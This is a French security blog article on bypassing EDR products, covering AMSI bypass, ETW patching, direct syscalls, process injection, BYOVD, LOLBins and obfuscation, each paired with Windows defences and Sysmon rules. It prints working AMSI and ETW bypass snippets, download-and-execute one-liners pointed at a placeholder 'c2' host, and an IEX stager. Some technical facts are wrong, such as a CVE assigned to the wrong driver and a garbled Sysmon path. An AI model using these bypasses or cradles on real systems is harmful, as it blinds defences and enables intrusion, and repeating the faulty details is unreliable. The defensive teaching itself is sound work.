Bypass EDR 2026 : Techniques de Contournement et Défenses

En 2026, le marché mondial des EDR (Endpoint Detection & Response) dépasse les 18 milliards de dollars et continue de croître à un rythme soutenu. Pourtant, les acteurs de la menace — des groupes APT aux ransomware-as-a-service — parviennent régulièrement à contourner ces solutions avant même qu'elles ne déclenchent une alerte. La raison ? Les EDR modernes reposent sur des mécanismes d'interception (hooks userland dans ntdll.dll, minifilter drivers, callbacks kernel), et chacun de ces mécanismes peut être neutralisé ou contourné par un attaquant qui en comprend le fonctionnement interne. Cette réalité a conduit les équipes red team à développer tout un arsenal de techniques offensives — AMSI bypass, ETW patching, direct syscalls, process injection, BYOVD — qui challengent en permanence les capacités défensives des organisations. Comprendre ces techniques en profondeur n'est pas réservé aux pentesters : chaque responsable sécurité, architecte SOC et analyste Blue Team doit maîtriser les vecteurs de bypass edr 2026 techniques contournement pour dimensionner correctement ses couches défensives, affiner ses règles Sysmon, activer HVCI et déployer ASR. Cet article décortique les principales techniques offensives, les CVE exploités dans les campagnes récentes, et les contre-mesures techniques correspondantes qui composent une défense en profondeur efficace face aux menaces avancées de 2026.

Comment fonctionnent les EDR — et pourquoi ils peuvent être contournés

Avant d'examiner les techniques de bypass, il est essentiel de comprendre l'architecture des EDR modernes. Un agent EDR s'installe à plusieurs niveaux du système Windows : il déploie des hooks userland dans les fonctions critiques de ntdll.dll (les wrappers qui transitent vers le kernel), installe des minifilter drivers pour intercepter les opérations fichiers et réseau, et enregistre des callbacks kernel (PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, CmRegisterCallback) pour surveiller la création de processus, de threads et les modifications de registre.

Cette architecture multi-couches est puissante — mais chaque couche est une surface d'attaque potentielle. Si l'attaquant court-circuite les hooks userland via des direct syscalls, désactive le driver EDR via BYOVD, ou neutralise la pipeline de télémétrie ETW, la visibilité de la solution s'effondre. C'est précisément le modèle d'attaque dominant en 2026. Pour aller plus loin sur les solutions concernées, voir notre comparatif des top 10 solutions EDR/XDR 2025 et notre analyse des techniques d'évasion EDR/XDR.

AMSI bypass : neutraliser l'Antimalware Scan Interface

L'AMSI (Antimalware Scan Interface) est le mécanisme Windows qui transmet le contenu de chaque script PowerShell, JScript ou VBScript à l'antivirus/EDR avant exécution. Contourner AMSI est souvent la première étape d'une compromission via PowerShell.

La technique la plus connue consiste à patcher en mémoire la fonction AmsiScanBuffer dans le processus courant via reflection .NET, forçant la fonction à retourner AMSI_RESULT_CLEAN quelle que soit l'entrée :

# AMSI bypass par reflection .NET (exemple éducatif - technique patching mémoire)
# En conditions réelles, une obfuscation est indispensable — les AV détectent cette forme brute
$api = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $api.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)
# Conséquence: AmsiScanBuffer retourne toujours AMSI_RESULT_CLEAN
# Le payload PowerShell suivant ne sera pas soumis à l'analyse antivirus

# Variante via patching de bytes en mémoire (plus furtive) :
# On localise amsi.dll dans le processus courant, on résout AmsiScanBuffer,
# et on écrase les premiers bytes avec un 'ret 0' (opcode C3 sur x64)
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($c, 8, 0)

Du côté Blue Team, la détection repose sur plusieurs vecteurs : Sysmon Event ID 10 (accès à amsi.dll avec flags d'écriture en mémoire), PowerShell ScriptBlock Logging (Event 4104) qui capture le contenu des scripts même obfusqués, et les règles EDR qui surveillent les appels à VirtualProtect ciblant amsi.dll. La contre-mesure structurelle est d'activer la Protected Anti-Malware Light (PPL) pour les processus de sécurité critiques et d'imposer les Constrained Language Mode PowerShell via WDAC ou AppLocker.

ETW Patching : aveugler la télémétrie Windows

Event Tracing for Windows (ETW) est l'infrastructure de télémétrie du kernel Windows. Les EDR s'y abonnent pour recevoir des événements sur les allocations mémoire, les appels système suspects, les injections, etc. Neutraliser ETW, c'est couper le flux d'information vers l'EDR.

La technique de patching ETW la plus répandue consiste à écraser la fonction EtwEventWrite dans ntdll.dll avec un simple ret (opcode 0xC3), ou à patcher EtwEventWriteFull. En conditions réelles, les attaquants ciblent le provider ETW spécifique qu'utilise l'EDR (par exemple Microsoft-Windows-Threat-Intelligence) en appelant NtTraceEvent avec un payload malformé.

// Concept: ETW patching via P/Invoke (à des fins de compréhension défensive)
// On résout l'adresse de EtwEventWrite dans ntdll.dll chargée dans le processus courant
// puis on écrase les premiers bytes pour forcer un retour immédiat sans écriture d'événement

IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwWrite = GetProcAddress(ntdll, "EtwEventWrite");

// Changer les permissions mémoire pour écrire dans la zone
VirtualProtect(etwWrite, 1, PAGE_EXECUTE_READWRITE, out uint oldProtect);

// Patch: instruction "ret" (0xC3) — la fonction retourne immédiatement sans logger
Marshal.WriteByte(etwWrite, 0xC3);

// Restaurer les permissions originales (furtivité)
VirtualProtect(etwWrite, 1, oldProtect, out _);

La défense contre l'ETW patching passe par HVCI qui empêche la modification des pages mémoire exécutables, et par les ETW Threat Intelligence providers protégés par le kernel (disponibles depuis Windows 10 1709). Les règles Sysmon ciblant les appels à VirtualProtect sur ntdll.dll complètent la détection.

Direct Syscalls : court-circuiter les hooks userland

C'est la technique offensive la plus impactante de ces dernières années. Les EDR fonctionnent en installant des inline hooks dans les fonctions Nt* de ntdll.dll — ils remplacent les premiers octets par un jump vers leur code d'analyse. Les direct syscalls contournent intégralement cette interception en invoquant le noyau directement, sans passer par ntdll.dll.

Des outils comme SysWhispers3 ou Hell's Gate automatisent la génération de stubs assembleur qui lisent le System Service Number (SSN) depuis ntdll non hookée (via une copie fraîche lue depuis disque ou depuis la section .text originale) et invoquent directement l'instruction syscall :

// Direct syscall simplifié (concept pédagogique — SysWhispers3 génère le code réel)
// Au lieu d'appeler NtCreateThreadEx via ntdll.dll hookée par l'EDR,
// on lit le SSN (System Service Number) directement et on invoque syscall

// Récupération du SSN depuis une ntdll "propre" (non hookée)
// Hell's Gate: lire ntdll depuis disque, parser le PE, extraire le SSN
// Halos' Gate: si le stub est hookéé, scanner les stubs voisins pour retrouver le SSN

// Stub assembleur généré par SysWhispers3 pour NtOpenProcess:
// mov r10, rcx           ; Convention calling convention Windows x64
// mov eax, SSN           ; Numéro du syscall (ex: 0x26 pour NtOpenProcess)
// syscall                ; Appel direct au kernel
// ret                    ; Retour à l'appelant

// La déclaration P/Invoke correspondante:
[DllImport("ntdll.dll")]
public static extern uint NtOpenProcess(
    ref IntPtr ProcessHandle,
    uint DesiredAccess,
    ref OBJECT_ATTRIBUTES ObjectAttributes,
    ref CLIENT_ID ClientId
);
// En pratique SysWhispers3 remplace l'appel ntdll par le stub assembleur inline

Les contre-mesures incluent : la surveillance kernel-side des syscalls via les ETW-TI providers qui opèrent en dessous des hooks userland, et les EDR de nouvelle génération qui déplacent leur instrumentation côté kernel (ELAM drivers, PatchGuard-compatible callbacks) plutôt que de se fier uniquement aux hooks ntdll. La recommandation ANSSI est d'activer HVCI pour rendre plus difficile le chargement de code non signé dans le kernel.

Techniques d'injection de processus

L'injection de code dans un processus légitime (lsass.exe, svchost.exe, explorer.exe) reste un vecteur de persistance et d'évasion majeur, classé T1055 dans le MITRE ATT&CK. Chaque variante exploite des primitives Windows différentes.

Process Hollowing — T1055.012

Le process hollowing crée un processus légitime en état suspendu (CREATE_SUSPENDED), puis remplace son image en mémoire par un payload malveillant avant de le reprendre. La mémoire du processus d'origine est libérée via NtUnmapViewOfSection, remplacée par le payload alloué avec VirtualAllocEx, et les registres du thread principal sont réécris via SetThreadContext.

Détection : Sysmon Event ID 8 (CreateRemoteThread), surveillance des séquences CreateProcess + NtUnmapViewOfSection + WriteProcessMemory + ResumeThread, et la télémétrie EDR sur les incohérences entre l'image sur disque et le contenu mémoire d'un processus.

Process Doppelgänging — T1055.013

Cette technique exploite les transactions NTFS (TxF — Transactional NTFS) pour créer une section de mémoire à partir d'un fichier modifié transactionnellement sans jamais écrire le payload sur le disque. La transaction est annulée avant commit, laissant le disque inchangé mais le payload chargé en mémoire. Très difficile à détecter par les solutions basées sur les hashs fichiers.

Thread Injection via CreateRemoteThread et QueueUserAPC

CreateRemoteThread injecte un thread dans un processus cible avec LoadLibraryA ou un shellcode comme point d'entrée. QueueUserAPC est plus furtif : il insère une procédure asynchrone dans la file APC d'un thread existant, qui ne s'exécute que lorsque le thread entre en état alertable — évitant la création d'un nouveau thread détectable.

Phantom DLL Injection

Cette technique tire parti de DLL qui sont référencées dans la table d'import d'un processus mais n'existent pas sur le disque (DLLs "fantômes"). L'attaquant crée ces DLL dans des chemins recherchés par le chargeur Windows, déclenchant leur chargement dans un processus légitime sans LoadLibrary explicite — contournant les hooks sur cette API.

Pour approfondir les vecteurs de compromission latérale liés à l'injection, voir notre analyse de container escape et techniques d'évasion 2026.

BYOVD : Bring Your Own Vulnerable Driver

Le BYOVD est devenu l'une des techniques offensives les plus redoutées en 2026. Le principe : amener sur la machine cible un pilote de périphérique légitime, signé par Microsoft ou un éditeur de confiance, mais contenant une vulnérabilité exploitable depuis le userland. Une fois chargé au niveau kernel (ring 0), il permet de désactiver des processus EDR protégés, de modifier la mémoire kernel, ou de charger des pilotes non signés.

Exemples de CVE utilisés dans des campagnes réelles :

• CVE-2023-32233 — Pilote Netfilter (netfilter2.sys) : vulnérabilité use-after-free permettant une élévation de privilèges kernel. Utilisé par des groupes APT pour terminer les processus EDR.
• CVE-2021-21551 — Dell DBUtil (dbutil_2_3.sys) : lecture/écriture mémoire arbitraire au niveau kernel. Exploité pour désactiver Driver Signature Enforcement et charger des rootkits.
• Kaspersky driver abuse — Des pilotes légitimes d'éditeurs de sécurité ont été détournés via leurs IOCTLs exposés pour accomplir des primitives kernel depuis le userland.
• CVE-2022-3699 — Lenovo FirmwareUpdate (lenovo_fw_update.sys) : accès mémoire physique exposé via IOCTL, permettant de lire et écrire n'importe quelle adresse physique.

# Règle Sysmon pour détecter le chargement BYOVD (drivers vulnérables connus)
<RuleGroup name="BYOVD Detection" groupRelation="or">
  <ImageLoad onmatch="include">
    <!-- Détecter le chargement de drivers connus vulnérables par nom -->
    <ImageLoaded condition="is">C:\Windows\System32\drivers
etfilter2.sys</ImageLoaded>
    <ImageLoaded condition="is">C:\Windows\System32\drivers\dbutil_2_3.sys</ImageLoaded>
    <ImageLoaded condition="is">C:\Windows\System32\drivers\lenovo_fw_update.sys</ImageLoaded>
    <!-- Hash check pour variants (list basée sur loldrivers.io) -->
    <Hashes condition="contains">SHA256=0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5</Hashes>
  </ImageLoad>
  <!-- Détecter la création de service pour chargement de driver -->
  <RegistryEvent onmatch="include">
    <TargetObject condition="contains">HKLM\SYSTEM\CurrentControlSet\Services</TargetObject>
    <Details condition="is">1</Details> <!-- Type=1 = Kernel Driver -->
  </RegistryEvent>
</RuleGroup>

La défense la plus efficace contre BYOVD est HVCI (Hypervisor-Protected Code Integrity) combiné à la liste de blocage des drivers vulnérables (WDAC Vulnerable Driver Blocklist) maintenue par Microsoft. HVCI empêche le chargement de code non signé dans le kernel et rend impossible la modification des structures kernel par des drivers vulnérables, car la mémoire est validée par l'hyperviseur avant exécution. Pour les environnements cloud et multi-cloud, les techniques de privilege escalation liées aux drivers s'inscrivent dans un contexte plus large — voir notre article sur l'escalade de privilèges multi-cloud 2026.

LOLBins : Living off the Land Binaries

Les LOLBins (Living off the Land Binaries) permettent à un attaquant d'exécuter du code malveillant en abusant de binaires Windows légitimes et signés, listés sous MITRE ATT&CK T1218 (Signed Binary Proxy Execution). Comme ces binaires sont signés et souvent whitelistés par les solutions de sécurité, leur usage malveillant échappe aux détections basées sur les hashs ou les politiques d'exécution.

• certutil.exe — Utilisé pour télécharger des payloads (certutil -urlcache -split -f http://c2/payload.b64 payload.b64) et décoder du base64 (certutil -decode payload.b64 payload.exe).
• mshta.exe — Exécute des fichiers HTA (HTML Applications) ou des scripts VBScript/JScript distants, contournant les restrictions PowerShell.
• regsvr32.exe — La technique "Squiblydoo" utilise regsvr32 /s /n /u /i:http://c2/payload.sct scrobj.dll pour exécuter un scriptlet COM distant sans toucher au disque.
• wmic.exe — Exécution à distance via wmic process call create ou invocation de XSL transform (wmic os get /format:http://c2/payload.xsl) pour contourner les restrictions d'exécution.
• msiexec.exe — Installation silencieuse de packages MSI distants : msiexec /q /i http://c2/payload.msi.

La détection des LOLBins repose sur la surveillance comportementale des process parent-enfant inhabituels (Office → cmd.exe → powershell.exe), les règles ASR qui bloquent spécifiquement certains usages de ces binaires, et la surveillance des connexions réseau initiées par des processus système légitimes. Notre article sur la sécurité des APIs 2026 complète ce panorama sur les techniques d'abus de composants légitimes.

Obfuscation et encoding : rendre le payload invisible

L'obfuscation des payloads est utilisée à deux niveaux : éviter la détection statique lors du chargement, et contourner AMSI lors de l'exécution. Les techniques s'enchaînent souvent en cascade.

# Chaîne d'obfuscation PowerShell (exemple éducatif)

# 1. Encodage Base64 du payload
$payload = "IEX(New-Object Net.WebClient).DownloadString('http://c2/stager.ps1')"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
# Exécution: powershell -EncodedCommand $encoded

# 2. XOR encryption avec clé variable (évite les signatures statiques)
$key = 0x41  # Clé XOR simple
$shellcode = [byte[]]@(0x11, 0x2F, 0x3C)  # Bytes XOR-ées
$decoded = $shellcode | ForEach-Object { $_ -bxor $key }

# 3. Character substitution + string concaténation (bypass détection token)
$cmd = 'I'+'E'+'X'  # Reconstruit "IEX" pour éviter la détection du token entier
& ([scriptblock]::Create($cmd + " (Get-Content payload.ps1)"))

# 4. Invoke-Obfuscation : obfuscation automatisée
# Remplace les tokens, encode les chaînes, insère des junk tokens
# Résultat: un script fonctionnel mais méconnaissable pour les signatures statiques

La contre-mesure principale est le PowerShell ScriptBlock Logging (activé via GPO ou WDAC) qui capture le code PowerShell après décodage et déobfuscation — au niveau de l'AST (Abstract Syntax Tree) — dans l'Event Log 4104. Couplé à une SIEM qui analyse ces logs, il permet de détecter des patterns malveillants même après obfuscation. Voir aussi les techniques de fuzzing applicatif dans notre article sur l'API security 2026.

Défenses Blue Team : Kernel Patch Guard, VBS, HVCI et Credential Guard

Face à ces techniques offensives, Windows intègre depuis Windows 10/11 un ensemble de mécanismes défensifs fondamentaux que toute organisation doit activer.

Kernel Patch Guard (KPG)

KPG (PatchGuard) est un mécanisme de protection du kernel Windows 64-bit qui vérifie périodiquement l'intégrité des structures critiques du noyau (IDT, GDT, MSR LSTAR, SSDT, etc.) et déclenche un BSOD si une altération est détectée. Il empêche les rootkits de patcher le kernel directement. Cependant, KPG n'est pas infaillible — des techniques de timing et de race condition ont historiquement permis de le contourner, d'où l'importance de HVCI comme couche complémentaire.

VBS et HVCI — La protection la plus efficace en 2026

VBS (Virtualization Based Security) utilise l'hyperviseur Hyper-V pour créer un environnement d'exécution isolé (Virtual Trust Level 1) qui protège les secrets et le code de sécurité, même si le kernel Windows est compromis. HVCI (Hypervisor-Protected Code Integrity) s'appuie sur VBS pour vérifier que tout code chargé dans le kernel est signé et intègre avant exécution — la validation se fait dans le contexte hyperviseur, inaccessible au kernel Windows. C'est la contre-mesure la plus efficace contre BYOVD et le kernel patching.

Pour activer HVCI :

# Activer HVCI via PowerShell (nécessite redémarrage)
# Vérification du support matériel préalable
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# Activation via registre
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
  -Name "EnableVirtualizationBasedSecurity" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
  -Name "RequirePlatformSecurityFeatures" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" `
  -Name "Enabled" -Value 1

Credential Guard

Credential Guard isole les secrets d'authentification LSA (Kerberos tickets, NTLM hashes) dans un processus sécurisé VBS (LSAIso) accessible uniquement via l'hyperviseur, rendant les attaques de type Pass-the-Hash et LSASS dumping inefficaces. Même avec un accès SYSTEM complet, un attaquant ne peut pas extraire les secrets Kerberos si Credential Guard est actif — car ils ne résident jamais dans la mémoire du processus LSASS accessible depuis le ring 0 classique.

Attack Surface Reduction (ASR) Rules

Les règles ASR de Microsoft Defender ATP bloquent des comportements offensifs spécifiques sans nécessiter de signature. Règles prioritaires à activer :

• Block Office applications from injecting code into other processes — bloque les macros malveillantes qui injectent du shellcode
• Block execution of potentially obfuscated scripts — bloque les scripts PowerShell obfusqués
• Block process creations originating from PSExec and WMI commands — bloque les mouvements latéraux via WMI/PSExec
• Block credential stealing from the Windows local security authority subsystem (lsass.exe) — protège LSASS contre le dumping
• Block abuse of exploited vulnerable signed drivers — couche supplémentaire contre BYOVD

Pour un audit complet de votre posture défensive, notre service d'audit de sécurité inclut la vérification des règles ASR, HVCI et Credential Guard.

Tableau récapitulatif : techniques, détection et défenses

Logging et détection : Sysmon, ScriptBlock et télémétrie EDR

Aucune défense n'est efficace sans visibilité. La détection des techniques de bypass EDR repose sur un stack de logging bien configuré.

Sysmon avec la configuration SwiftOnSecurity est le standard de facto pour la collecte d'événements endpoint. Elle fournit des règles prêtes à l'emploi pour détecter les injections de processus, les accès LSASS suspects, les créations de services inhabituelles, et les connexions réseau depuis des processus système. À déployer via GPO avec le fichier sysmonconfig-export.xml disponible dans le repository SwiftOnSecurity/Sysmon-Config sur GitHub.

# Extrait Sysmon — détection accès LSASS (credential dumping, T1003.001)
<ProcessAccess onmatch="include">
  <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
  <!-- Alerter sur tout accès LSASS depuis un processus non système -->
  <!-- Exclure les accès légitimes connus (antivirus, EDR agents) -->
  <SourceImage condition="is not">C:\Windows\System32\svchost.exe</SourceImage>
</ProcessAccess>

<!-- Détection injection via CreateRemoteThread (T1055) -->
<CreateRemoteThread onmatch="include">
  <TargetImage condition="is">C:\Windows\System32\svchost.exe</TargetImage>
  <TargetImage condition="is">C:\Windows\explorer.exe</TargetImage>
  <!-- Exclure les sources légitimes -->
  <SourceImage condition="is not">C:\Windows\System32\wbem\WmiPrvSE.exe</SourceImage>
</CreateRemoteThread>

Le PowerShell ScriptBlock Logging (activé via HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging, EnableScriptBlockLogging=1) capture le code PowerShell déobfusqué dans l'Event ID 4104. Couplé à une SIEM, il permet de détecter des patterns AMSI bypass, des tentatives d'injection ou des téléchargements depuis des URLs suspectes, même après plusieurs couches d'obfuscation.

La télémétrie EDR moderne fournit des Indicators of Attack (IOA) plutôt que des indicateurs de compromission basés sur des signatures. Les IOA ciblent les comportements (une séquence d'appels API, un arbre de processus anormal, une allocation mémoire exécutable non mappée) plutôt que les artefacts statiques. C'est l'approche recommandée face à des techniques offensives en évolution constante comme celles documentées dans cet article.

Pour les environnements Active Directory, qui constituent souvent la cible finale des attaques contournant les EDR, notre équipe pentest Active Directory et notre service de RSSI externalisé vous accompagnent dans la mise en place de ces défenses. Les vulnérabilités de configuration RBAC dans les environnements conteneurisés suivent une logique similaire — voir notre article sur les erreurs RBAC Kubernetes.

Questions fréquentes

Qu'est-ce qu'un bypass EDR et en quoi est-ce différent d'un bypass antivirus classique ?

Un bypass antivirus classique vise à éviter la détection par signature statique d'un fichier malveillant. Un bypass EDR est plus sophistiqué : il cible les mécanismes d'interception comportementale — hooks userland, callbacks kernel, télémétrie ETW — pour rendre le comportement malveillant invisible à la solution de détection, même en l'absence de signature connue. En 2026, les deux approches sont souvent combinées pour maximiser les chances d'évasion.

Les direct syscalls rendent-ils les EDR totalement inefficaces ?

Non. Les direct syscalls contournent les hooks userland placés dans ntdll.dll, mais pas les mécanismes de détection côté kernel. Les EDR modernes utilisent des callbacks kernel (enregistrés via des API comme PsSetCreateProcessNotifyRoutine) et les ETW Threat Intelligence providers qui opèrent en dessous des hooks userland. HVCI rend également plus difficile le chargement de code non signé pour implémenter des stubs syscall personnalisés. Les direct syscalls réduisent la visibilité EDR mais ne l'éliminent pas entièrement.

Comment détecter efficacement une attaque BYOVD sur mon réseau ?

La détection BYOVD repose sur plusieurs couches : surveillance Sysmon du chargement de drivers (ImageLoad Event ID 7) avec comparaison contre les listes de drivers vulnérables publiées sur loldrivers.io et Microsoft WDAC Blocklist, alertes sur la création de nouveaux services de type "kernel driver" (type 1 dans le registre), et monitoring des accès IOCTL inhabituels vers des devices kernel. L'activation de HVCI est la contre-mesure structurelle la plus efficace car elle bloque le chargement de drivers non validés, même légitimement signés mais vulnérables.

Quelle est la différence entre VBS, HVCI et Credential Guard ?

VBS (Virtualization Based Security) est la fondation : elle utilise Hyper-V pour créer un environnement d'exécution sécurisé isolé du kernel Windows standard. HVCI s'appuie sur VBS pour enforcer l'intégrité du code kernel — tout driver ou code chargé dans le kernel est validé par l'hyperviseur avant exécution, bloquant BYOVD et le patching mémoire. Credential Guard utilise également VBS pour isoler les secrets LSA (tickets Kerberos, hashes NTLM) dans un processus sécurisé inaccessible depuis le kernel Windows, bloquant LSASS dumping et Pass-the-Hash.

Quelles règles ASR activer en priorité pour contrer les techniques de bypass EDR ?

Les règles ASR prioritaires sont : le blocage de l'injection de code par les applications Office, le blocage des scripts obfusqués, la protection de LSASS contre le credential dumping, le blocage des créations de processus via PSExec/WMI, et depuis 2022, la règle spécifique de blocage des drivers vulnérables signés (BYOVD). Il est recommandé de déployer d'abord en mode "Audit" via Microsoft Defender ATP pour identifier les faux positifs avant de basculer en mode "Block" en production.